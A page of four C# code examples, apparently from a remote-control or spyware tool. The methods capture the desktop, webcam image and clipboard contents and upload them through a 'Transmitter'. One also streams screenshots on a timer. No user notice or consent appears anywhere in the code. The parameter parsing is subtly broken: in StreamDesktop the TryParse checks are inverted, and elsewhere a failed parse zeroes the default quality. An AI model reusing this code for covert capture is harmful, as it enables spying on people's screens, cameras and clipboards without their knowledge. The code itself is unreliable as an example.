Ejemplo n.º 1
0
        public void UploadDesktopImage()
        {
            StartWork(true);
            long quality = 80;

            long.TryParse(Transmitter.TSettings.Parameters, out quality);
            var data = Imaging.BitmapToJpeg(ScreenMan.Instance.Grab(true, System.Drawing.Imaging.PixelFormat.Format24bppRgb), quality);

            UploadResult(data, "desktop.jpg", false, false, false);
        }
Ejemplo n.º 2
0
        public void UploadWebcamImage()
        {
            StartWork(true);
            long quality = 95;

            long.TryParse(Transmitter.TSettings.Parameters, out quality);
            var data = Imaging.BitmapToJpeg(WebcamControl.GetWebCamImage(), quality);

            UploadResult(data, "webcam.jpg", false, false, false);
        }
Ejemplo n.º 3
0
 public void UploadClipboardData()
 {
     if (Clipboard.ContainsText())
     {
         StartWork(true);
         UploadResult(Clipboard.GetText(), "clipboard.txt");
     }
     if (Clipboard.ContainsImage())
     {
         StartWork(true);
         long quality = 80;
         long.TryParse(Transmitter.TSettings.Parameters, out quality);
         var data = Imaging.BitmapToJpeg(Clipboard.GetImage(), quality);
         UploadResult(data, "clipboard.jpg", false, false, false);
     }
 }
Ejemplo n.º 4
0
        public void StreamDesktop()
        {
            StartWork(false);
            var interval = 5000;
            var quality  = 10L;

            if (!string.IsNullOrEmpty(Transmitter.TSettings.Parameters))
            {
                var inputSplit = Transmitter.TSettings.Parameters.Split(';');
                if (inputSplit.Length >= 1)
                {
                    var intervalTemp = interval;
                    if (!int.TryParse(inputSplit[0], out intervalTemp))
                    {
                        interval = intervalTemp;
                    }
                }
                interval = interval >= 1000 && interval <= 10000 ? interval : 5000;
                if (inputSplit.Length >= 2)
                {
                    var qualityTemp = quality;
                    if (!long.TryParse(inputSplit[1], out qualityTemp))
                    {
                        quality = qualityTemp;
                    }
                }
            }
            streamDesktopTimer          = new Timer();
            streamDesktopTimer.Interval = interval;
            streamDesktopTimer.Tick    += (o, e) =>
            {
                var data = Imaging.BitmapToJpeg(ScreenMan.Instance.Grab(true, System.Drawing.Imaging.PixelFormat.Format24bppRgb), quality);
                UploadResult(data, "stream.jpg", false, false, false);
                //CursorInteract();
            };
            streamDesktopTimer.Enabled = true;
            streamDesktopTimer.Start();
        }